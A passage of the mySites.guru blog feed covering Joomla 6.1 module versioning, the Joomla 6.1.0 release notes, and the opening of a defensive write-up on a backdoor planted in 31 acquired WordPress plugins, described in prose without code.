&lt;p&gt;Everything else already existed. The diff UI, the restore button, the Keep Forever flag, the &lt;code&gt;#__ucm_history&lt;/code&gt; storage table - all of it was built for articles years ago and has been reused for every item type added since. Wiring modules into the same system is a few lines of XML and a content type row. The fact that it took twelve years to get here is more a story about how much is already on the Joomla project&apos;s plate than about the difficulty of the feature.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;strong&gt;Why this matters for agency work&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The rollback safety net is the obvious win, but the audit trail is the quieter benefit. Every version row records who made the change, when, and optionally why. On a shared admin account that is not great, but on a properly configured site with per-user Joomla logins, it becomes a simple answer to &quot;who broke the homepage module last Tuesday.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Did Joomla Module Versioning Look Like Before Joomla 6.1?&lt;/h2&gt;
&lt;p&gt;If you have been on Joomla for a while, you know the workarounds. Most of them were ugly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Third-party extensions.&lt;/strong&gt; The &lt;a href=&quot;https://extensions.joomla.org/extension/module-version/&quot;&gt;Module Version extension&lt;/a&gt; by RickR2H has lived on the JED for years. It does roughly what 6.1 now does natively. Respectable piece of work, and if you are still on 5.x or earlier it is still the best option. From 6.1 forward you can drop it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Snapshot plugins.&lt;/strong&gt; A pile of third-party backup and audit tools save module configurations on a schedule. That is backup, not version history. It works if you notice the problem within the backup window, not if a client discovers the bad edit three weeks later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Manual copy-paste in custom HTML modules.&lt;/strong&gt; The field hack: before every edit, copy the existing HTML into a text file with today&apos;s date. Works on one module. Does not work on thirty.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Staging sites.&lt;/strong&gt; A proper staging workflow solves this, but every small client edit through a staging cycle is its own kind of overhead. For a &quot;just swap the phone number in the header module&quot; change, most agencies skip staging and take the risk.&lt;/p&gt;
&lt;p&gt;Native 6.1 versioning kills every one of these workarounds for the specific case of module edits.&lt;/p&gt;
&lt;h2&gt;Are There Things That Joomla Module Versioning in 6.1 Does Not Cover?&lt;/h2&gt;
&lt;p&gt;Two caveats worth knowing before you sell this feature to a client.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Frontend editing is not tracked.&lt;/strong&gt; The 6.1.0 implementation is admin-only. If a user edits a module through the frontend editing UI, that save does not hit the contenthistory hook and does not create a version row. This is a known follow-up, raised by Brian Teeman in the PR review. Expect frontend support in a future 6.x release. For now, treat frontend module edits as unversioned, and steer important changes through the admin panel where possible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Existing modules have no history until you enable the feature.&lt;/strong&gt; Versioning starts recording at the moment you flip save_history on. It is not retroactive. If you turn it on today and a module was broken last week, last week&apos;s good state is not in the history. This is why getting it enabled across your portfolio early is worth doing: every day you leave it off is a day of potential rollbacks you will never have.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Versions button only appears when com_contenthistory is enabled.&lt;/strong&gt; On a default Joomla 6.1 install it is enabled. If you have been through a migration or disabled it for some reason, the Versions UI will not appear in the module edit toolbar even with save_history on. Re-enable com_contenthistory under Extensions → Plugins.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Enable Module Versioning in Joomla 6.1?&lt;/h2&gt;
&lt;p&gt;For the curious, here is what happens when you click Fix This For Me on the Enable Module Versioning check.&lt;/p&gt;
&lt;p&gt;The mySites.guru connector sits on each managed site as a lightweight PHP bridge. When the dashboard sends a fix request for module versioning, the connector:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reads the current &lt;code&gt;params&lt;/code&gt; JSON from the &lt;code&gt;#__extensions&lt;/code&gt; row where &lt;code&gt;name = &apos;com_modules&apos;&lt;/code&gt; and &lt;code&gt;type = &apos;component&apos;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Parses the JSON, or falls back to an empty object if the params are missing or malformed.&lt;/li&gt;
&lt;li&gt;Sets &lt;code&gt;save_history&lt;/code&gt; to &lt;code&gt;&apos;1&apos;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Sets &lt;code&gt;history_limit&lt;/code&gt; to &lt;code&gt;&apos;10&apos;&lt;/code&gt; if it is not already a positive integer (respecting a value you set manually).&lt;/li&gt;
&lt;li&gt;Writes the updated params back to the &lt;code&gt;#__extensions&lt;/code&gt; table in a single UPDATE query.&lt;/li&gt;
&lt;li&gt;Reads back the saved value and returns it to the dashboard so the next snapshot reflects the change.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;No filesystem writes. No Joomla admin session. No reliance on the web UI. It is the same mechanism we use for every other &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Joomla audit and fix tool&lt;/a&gt;, and it scales linearly: enabling versioning on 100 sites takes roughly as long as enabling it on 1.&lt;/p&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Does enabling module versioning slow down the admin?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No. The contenthistory hook is a lightweight insert into a single table on module save. There is no performance impact on admin page loads or frontend rendering. The only time you notice it is when you open the Versions panel, and even then it is a simple query against &lt;code&gt;#__ucm_history&lt;/code&gt; filtered by item id.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Can I set a different history_limit per module?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not in 6.1. The history_limit is set at the component level and applies to every module saved through com_modules. A higher per-module limit may come later, but for now set the component-level limit to the highest value you want for any module, and rely on the Keep Forever flag on individual versions to preserve the specific states you never want pruned.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What happens to versions when I delete a module?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The contenthistory rows for the deleted module stay in &lt;code&gt;#__ucm_history&lt;/code&gt; by default. If you restore the module from the trash, the history is still there. If you permanently delete the module, the history rows become orphaned but do not cause harm. Joomla has no built-in cleanup for orphaned history rows, so a very long-lived site may accumulate some. It is a non-issue on any reasonably young site.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Does module versioning apply to menu modules?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Yes. Menu modules are just modules from com_modules&apos; perspective. Once save_history is on, menu module edits are tracked like any other. This is separate from the existing menu item versioning, which tracks the menu items themselves.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46772&quot;&gt;PR #46772: Versions for Modules&lt;/a&gt; - Robert Deutz&apos;s pull request with the full implementation, reviewer discussion, and testing instructions.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/mastering-joomla-content-versioning-how-to-track-compare-and-restore-article-changes&quot;&gt;Mastering Joomla Content Versioning&lt;/a&gt; - Brian Teeman&apos;s October 2025 Joomla Community Magazine piece on content versioning. Covers articles specifically, but the Versions UI is identical for modules in 6.1.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/60-61/&quot;&gt;Joomla 6.0 to 6.1 migration guide&lt;/a&gt; - official developer notes for the 6.1 release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;How to enable POW captcha in Joomla 6.1&lt;/a&gt; - the other 6.1 feature worth turning on across your portfolio: a built-in proof-of-work captcha that replaces Google reCAPTCHA.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Content_History_in_your_Component&quot;&gt;Using Content History in your Component&lt;/a&gt; - docs on how the com_contenthistory system works under the hood, useful if you develop custom components.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Running a Joomla agency and thinking about 6.1 upgrades? The &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt; covers update strategy, version management, and multi-site workflows. If you just want to know whether your sites are ready, the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;mySites.guru Joomla 6 compatibility tool&lt;/a&gt; checks PHP, database, and update channel across every connected site in one view.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>modules</category><category>versioning</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/joomla-6-1-module-versioning.TlQDAJDZ.png" length="0" type="image/png"/></item><item><title>Joomla 6.1.0 Released - What&apos;s New</title><link>https://mysites.guru/blog/joomla-6-1-release-whats-new/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-1-release-whats-new/</guid><description>Joomla 6.1 lands with a visual workflow editor, built-in POW captcha, media custom fields for audio and video, and a Cassiopeia child template with color controls.</description><pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 6.1.0 stable landed today, 14 April 2026. First minor release since 6.0 dropped in October 2025, and there are a few things in it worth knowing about.&lt;/p&gt;
&lt;p&gt;If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;mySites.guru compatibility checker&lt;/a&gt; can confirm all your sites meet the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; before you start rolling out updates. The tool scans every connected site&apos;s PHP version, database version, and update channel in one view - no logging into 30 different admin panels.&lt;/p&gt;
&lt;h2&gt;The Three Headline Features in Joomla 6.1&lt;/h2&gt;
&lt;p&gt;The Joomla project promoted three features as the headline additions for 6.1. None will change your life, but they each fix something that&apos;s been mildly annoying for years.&lt;/p&gt;
&lt;h3&gt;Visual workflow editor&lt;/h3&gt;
&lt;p&gt;Joomla&apos;s content workflow system has existed since Joomla 4, but configuring it meant working through form fields and mentally mapping out stage transitions. Joomla 6.1 adds a graphical drag-and-drop editor that lets you visually design workflow stages and transitions. For agencies managing editorial workflows across client sites, this turns a clunky setup process into something you can actually demonstrate to a client in a meeting.&lt;/p&gt;
&lt;h3&gt;Built-in POW captcha&lt;/h3&gt;
&lt;p&gt;&quot;POW&quot; stands for proof-of-work. The idea is borrowed from cryptocurrency mining, but applied to spam prevention. When a visitor submits a form, their browser has to solve a small computational puzzle before the submission goes through. The puzzle takes a fraction of a second for a real browser on a real device, but it&apos;s expensive to solve at scale. A spammer trying to submit thousands of forms would need thousands of times the computing power, which makes automated spam economically pointless.&lt;/p&gt;
&lt;p&gt;The key difference from reCAPTCHA or hCaptcha: everything happens locally. The visitor&apos;s browser does the work and proves it did, without contacting any external server. There&apos;s no API key to configure, no third-party JavaScript to load, no visitor data leaving the site, and no cookie consent banner needed for the captcha.&lt;/p&gt;
&lt;p&gt;For agencies this is genuinely useful. Setting up spam protection on a new client site today means registering for a reCAPTCHA account, generating API keys, pasting them into the Joomla admin, and hoping the client doesn&apos;t lose the keys when they change their Google account. Multiply that by 30 or 50 sites and you can see why I&apos;m pleased about this one. With POW you enable a core plugin and you&apos;re done.&lt;/p&gt;
&lt;p&gt;It also sidesteps the GDPR question. reCAPTCHA sends visitor data to Google, so you need consent in the EU. POW doesn&apos;t phone home to anyone, so there&apos;s nothing to disclose. Joomla has a strong German contributor base and Germans don&apos;t mess about with GDPR, so I&apos;d guess that&apos;s part of why this exists. Either way, it&apos;s a better default.&lt;/p&gt;
&lt;p&gt;For the step-by-step on how to enable it across one site or every Joomla 6.1 site in your portfolio, see &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;how to enable POW captcha in Joomla 6.1&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Media custom fields for audio, video, and documents&lt;/h3&gt;
&lt;p&gt;The media custom field plugin previously only handled images. In 6.1, it supports audio, video, and document file types. This is useful for sites that need to attach downloadable PDFs, audio clips, or video files to articles through structured custom fields rather than dumping everything into the article body.&lt;/p&gt;
&lt;h2&gt;The Smaller Wins Shipped Alongside 6.1&lt;/h2&gt;
&lt;p&gt;A pile of smaller things shipped too.&lt;/p&gt;
&lt;p&gt;Modules now have version tracking - something articles have had for years. If you&apos;ve ever lost a module change and wished you could roll back, this finally fixes that. I wrote up &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-module-versioning/&quot;&gt;how to turn module versioning on&lt;/a&gt; manually and across every site at once. Modules also gain association support across languages.&lt;/p&gt;
&lt;p&gt;The default Cassiopeia template&apos;s child now includes built-in colour and font-size customisation without needing custom CSS. Clients can adjust brand colours directly from the template settings panel. The Joomla Community Magazine &lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/cassiopeia%E2%80%99s-child-learns-to-dress-itself-colors-and-font-sizes-in-joomla%E2%80%99s-core-template&quot;&gt;wrote about this&lt;/a&gt; when it first landed - worth a read if you&apos;re tired of writing CSS overrides for every client.&lt;/p&gt;
&lt;p&gt;All plugins (except compatibility plugins) now load lazily, which should reduce memory usage on sites with many plugins installed. MFA enforcement has been tightened too - administrators can now force or exempt multi-factor authentication for superuser accounts specifically, which matters for agencies where multiple team members share admin access.&lt;/p&gt;
&lt;p&gt;Some smaller wins: tags can be copied and moved in batch (finally), TinyMCE can handle &lt;code&gt;&amp;lt;abbr&amp;gt;&lt;/code&gt; elements for accessibility, subforms get a grid layout option that looks cleaner on mobile, and there&apos;s a new CLI command to enable/disable extensions from the command line.&lt;/p&gt;
&lt;p&gt;The language override view now shows status and lets you quick-create missing overrides, which saves a lot of scrolling. The API picks up Schema.org data integration for anyone building headless Joomla sites. And for developers: the Web Asset Manager now supports a &lt;code&gt;nocache&lt;/code&gt; version string in &lt;code&gt;joomla.asset.json&lt;/code&gt;, which forces cache-busting during development so you stop wondering why your JS changes aren&apos;t showing up.&lt;/p&gt;
&lt;h2&gt;What Should Joomla Agency Owners Do About 6.1?&lt;/h2&gt;
&lt;p&gt;If you&apos;re managing client sites, don&apos;t just hit &quot;update all&quot; and hope for the best.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Check compatibility. Use the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;mySites.guru Joomla 6 compatibility tool&lt;/a&gt; to review your sites&apos; PHP and database versions. Joomla 6.1 has the same requirements as 6.0 (PHP 8.3+, MySQL 8.0.13+/MariaDB 10.4+), so if your sites are already on 6.0, you&apos;re clear.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Verify update channels. Make sure production sites are on the Default update channel, not &quot;Joomla Next&quot;. The Default channel delivers minor updates like 6.0 to 6.1 safely. See &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;how to prevent accidental Joomla version jumps&lt;/a&gt; if you haven&apos;t set this up.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Check automated updates. Joomla 5.4 introduced automated core updates that can apply patches without admin intervention. If you prefer to control when updates happen, &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;disable automated upgrades&lt;/a&gt; before 6.1 rolls out to your sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Test on one site first. Pick a low-risk client site, apply the update, check that templates and extensions work. You can &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;compare template versions across your portfolio&lt;/a&gt; to spot inconsistencies. Pay attention to any custom child templates - Joomla 6.1 changed how child templates handle language files (they now extend rather than override), which could affect custom translations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Roll out in batches. Once you&apos;re confident, use the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mySites.guru bulk update tool&lt;/a&gt; to push the update across your remaining sites from one dashboard.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Technical Requirements Are Unchanged From 6.0&lt;/h2&gt;
&lt;p&gt;No. The minimum requirements are identical to Joomla 6.0:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;th&gt;Minimum&lt;/th&gt;
&lt;th&gt;Recommended&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PHP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.3.0&lt;/td&gt;
&lt;td&gt;8.4+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MySQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.0.13&lt;/td&gt;
&lt;td&gt;8.4+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MariaDB&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10.4.0&lt;/td&gt;
&lt;td&gt;12.0+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If your server already runs Joomla 6.0, no infrastructure changes are needed for 6.1. For a deeper look at these requirements and what they mean for your hosting, see the full &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements breakdown&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Are There Breaking Changes in Joomla 6.1?&lt;/h2&gt;
&lt;p&gt;A few things to watch for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Child template language files now extend parent language files instead of overriding them. If you&apos;ve customised language strings in a child template, check they still apply after the update. This is the one most likely to bite you.&lt;/li&gt;
&lt;li&gt;The deprecated dispatcher usage and OPTGROUP handling have both been removed. Extensions still using the old patterns may break.&lt;/li&gt;
&lt;li&gt;Plugin lazy loading is now the default. Compatibility plugins are excluded, but custom plugins that assumed a specific loading order may need adjustment.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extension developers should review the &lt;a href=&quot;https://manual.joomla.org/migrations/60-61/&quot;&gt;migration guide&lt;/a&gt; for the full list.&lt;/p&gt;
&lt;h3&gt;Known issues shipping with 6.1&lt;/h3&gt;
&lt;p&gt;There&apos;s at least one known bug that made it into the stable release: if you enable Debug System in Global Configuration and set Query Explains to &quot;Show&quot; in the Debug plugin, all AJAX calls on the admin dashboard will fail with 500 errors (&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47526&quot;&gt;#47526&lt;/a&gt;). This has been present since RC1 with no fix attached yet. If you use debug mode on production (you shouldn&apos;t, but people do), leave Query Explains turned off until a 6.1.1 patch lands.&lt;/p&gt;
&lt;p&gt;There&apos;s also an open draft PR to &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47575&quot;&gt;harden WebAuthn unserialize calls&lt;/a&gt; against PHP object injection - a security fix that didn&apos;t make the 6.1.0 cut but should arrive in a patch release soon.&lt;/p&gt;
&lt;h2&gt;Joomla.org Got a Redesign Alongside the Release&lt;/h2&gt;
&lt;p&gt;Yes. Alongside the 6.1 release, &lt;a href=&quot;https://www.joomla.org/&quot;&gt;joomla.org&lt;/a&gt; has had a facelift. The homepage now uses the same design language as &lt;a href=&quot;https://6.joomla.org/&quot;&gt;6.joomla.org&lt;/a&gt;, with a layout and typography that finally match the CMS it&apos;s selling. Trying to convince a client that Joomla is a modern platform is a lot harder when the project&apos;s own homepage looks like it was built in 2018, so I&apos;m glad to see this one land.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Features Were Planned for Joomla 6.1 but Didn&apos;t Make It?&lt;/h2&gt;
&lt;p&gt;The Alpha 1 announcement mentioned several features &quot;in development&quot; that didn&apos;t make the cut. I dug into the current status of each one:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AI integration via MCP servers&lt;/strong&gt; - A proof-of-concept was built during a January 2026 sprint by four core contributors, but it still needs cleanup, installation scripts, and tests before it&apos;s PR-ready. There&apos;s no open PR in joomla-cms yet and no confirmed version target. Don&apos;t hold your breath for 6.2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rate-limiting framework&lt;/strong&gt; - This one has been explicitly pushed to Joomla 7.x (2027+) on the official strategy page. It&apos;s not coming in any 6.x release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Health checker tool&lt;/strong&gt; - The project exists in the &lt;code&gt;joomla-projects/HealthChecker&lt;/code&gt; repo but hasn&apos;t been merged into core. No PR targeting joomla-cms has been opened. If you want a health checker now, &lt;a href=&quot;https://www.joomlahealthchecker.com/&quot;&gt;Joomla Health Checker&lt;/a&gt; is free, or &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; gives you deeper insights across all your sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Full WCAG 2.2 AA compliance&lt;/strong&gt; - Listed as &quot;in planning&quot; on the features tracker with no version assigned. There are a few incremental accessibility PRs targeting 6.2 (aria-disabled for toolbar buttons, admin sidebar improvements, alt text for language module images), but nothing close to a comprehensive WCAG 2.2 sweep.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Joomla 6.2 is scheduled for 13 October 2026, with Alpha 1 on 26 May 2026. Based on the PR activity, expect incremental improvements rather than any of these headline features landing.&lt;/p&gt;
&lt;h2&gt;Joomla 6.1 Release Timeline&lt;/h2&gt;
&lt;p&gt;The full development cycle from first alpha to stable took five months:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Milestone&lt;/th&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Alpha 1&lt;/td&gt;
&lt;td&gt;25 November 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Alpha 2&lt;/td&gt;
&lt;td&gt;23 December 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Alpha 3&lt;/td&gt;
&lt;td&gt;20 January 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Beta 1 (feature freeze)&lt;/td&gt;
&lt;td&gt;17 February 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Beta 2&lt;/td&gt;
&lt;td&gt;3 March 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Beta 3&lt;/td&gt;
&lt;td&gt;17 March 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RC 1&lt;/td&gt;
&lt;td&gt;31 March 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RC 2&lt;/td&gt;
&lt;td&gt;7 April 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RC 3&lt;/td&gt;
&lt;td&gt;13 April 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stable&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;14 April 2026&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Feature freeze at Beta 1, then three months of stabilisation. The project has settled into a predictable six-month minor release cadence, which makes planning client upgrades much easier.&lt;/p&gt;
&lt;h2&gt;What About Sites Still on Joomla 5?&lt;/h2&gt;
&lt;p&gt;Joomla &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5951-joomla-5-4-5-bugfix-release.html&quot;&gt;5.4.5 shipped the same day as 6.1&lt;/a&gt;, a bugfix release for the 5.x series with 12 merged pull requests. Nothing headline-grabbing, but a useful cleanup pass:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prevents recursion in the loadposition and loadmodule plugins&lt;/li&gt;
&lt;li&gt;Fixes a double timezone conversion in Media Manager file dates&lt;/li&gt;
&lt;li&gt;Corrects RTL/LTR corner radius inconsistencies&lt;/li&gt;
&lt;li&gt;Resets the media manager rotate angle input properly&lt;/li&gt;
&lt;li&gt;Improves TinyMCE custom CSS loading&lt;/li&gt;
&lt;li&gt;Fixes a custom fields regex pattern in ShowOnRule&lt;/li&gt;
&lt;li&gt;Highlights modal category field validation correctly&lt;/li&gt;
&lt;li&gt;Warns about duplicate subform fields&lt;/li&gt;
&lt;li&gt;Corrects an association template file path&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Joomla 5 is still under active maintenance, so if you have clients who aren&apos;t ready to move to 6.x yet, 5.4.5 is a safe maintenance update. Grab it from &lt;a href=&quot;https://downloads.joomla.org/cms/joomla5/5-4-5&quot;&gt;downloads.joomla.org&lt;/a&gt; or let mySites.guru push it across your portfolio in one go. Joomla then followed up on 26 May 2026 with a &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;joint 5.4.6 and 6.1.1 security release&lt;/a&gt; covering ten CVEs including an MFA bypass and a com_users privilege escalation, so anything still on 5.4.5 or 6.1.0 needs that patch next.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news.html&quot;&gt;Joomla 6.1 official release notes&lt;/a&gt; - the full changelog and download links&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/60-61/new-features/&quot;&gt;Joomla 6.1 new features documentation&lt;/a&gt; - official feature details with code examples&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/60-61/&quot;&gt;Joomla 6.0 to 6.1 migration guide&lt;/a&gt; - breaking changes and developer notes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/roadmap.html&quot;&gt;Joomla project roadmap&lt;/a&gt; - what&apos;s planned for 6.2 and beyond&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; - official minimum and recommended versions&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Planning your Joomla 6.1 rollout? The &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt; covers update strategy, version management, and multi-site workflows.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>updates</category><category>upgrade</category><enclosure url="https://mysites.guru/_astro/joomla-6-1-release-whats-new.ACzLTvx_.png" length="0" type="image/png"/></item><item><title>The WordPress Plugin You Trusted Was Sold to an Attacker</title><link>https://mysites.guru/blog/essential-plugin-wordpress-backdoor/</link><guid isPermaLink="true">https://mysites.guru/blog/essential-plugin-wordpress-backdoor/</guid><description>A buyer acquired 31 WordPress plugins, planted a backdoor in August 2025, and activated it in April 2026. Here is what happened and how to check your sites.</description><pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On April 5, 2026, a backdoor hidden inside 31 WordPress plugins woke up. It had been sitting dormant for eight months, planted by a buyer who acquired the entire Essential Plugin portfolio in early 2025. Their very first code commit was the backdoor. When it activated, it injected SEO spam into &lt;code&gt;wp-config.php&lt;/code&gt; across every site running any of the affected plugins.&lt;/p&gt;
&lt;p&gt;There is no CVE, and no patch that fixes this. These plugins are permanently closed on WordPress.org and will never be updated again. If any of them are on your sites, remove them and check for damage.&lt;/p&gt;
&lt;p&gt;Austin Ginder at &lt;a href=&quot;https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/&quot;&gt;Anchor Hosting&lt;/a&gt; found this while doing forensic work on a client site and wrote up the full technical breakdown. This post covers what you need to know, what mySites.guru found across our platform, and how to check your own sites.&lt;/p&gt;
&lt;p&gt;This is the second supply chain attack on WordPress in a single week, after the &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Smart Slider 3 Pro 3.5.1.35 compromise&lt;/a&gt; we covered on April 8. Different attackers, different methods, same outcome.&lt;/p&gt;
&lt;h2&gt;How Did the Essential Plugin WordPress Backdoor Work?&lt;/h2&gt;
&lt;p&gt;A buyer going by &quot;Kris&quot; picked up the Essential Plugin portfolio (formerly WP Online Support) on Flippa for a six-figure sum. That gave them 31 plugins with a combined install base in the hundreds of thousands. On May 12, 2025, a new &lt;code&gt;essentialplugin&lt;/code&gt; account showed up on WordPress.org with SVN commit access to all 31.&lt;/p&gt;
&lt;p&gt;On August 8, 2025, the buyer&apos;s first code commit landed in version 2.6.7. The changelog said &quot;Check compatibility with WordPress version 6.8.2.&quot; In reality, it added 191 lines of backdoor code hidden inside the plugin&apos;s existing analytics module.&lt;/p&gt;
&lt;p&gt;The short version: the plugin phones home to the attacker&apos;s server, the server sends back malicious code, and the plugin executes it. The attacker then drops a fake core file called &lt;code&gt;wp-comments-posts.php&lt;/code&gt; into the webroot and injects SEO spam into &lt;code&gt;wp-config.php&lt;/code&gt;. The spam only shows up for Googlebot, so site owners never see it when browsing their own site. To make it harder to shut down, the attacker resolves their command-and-control domain through an Ethereum smart contract instead of normal DNS, so taking down one domain does not help.&lt;/p&gt;
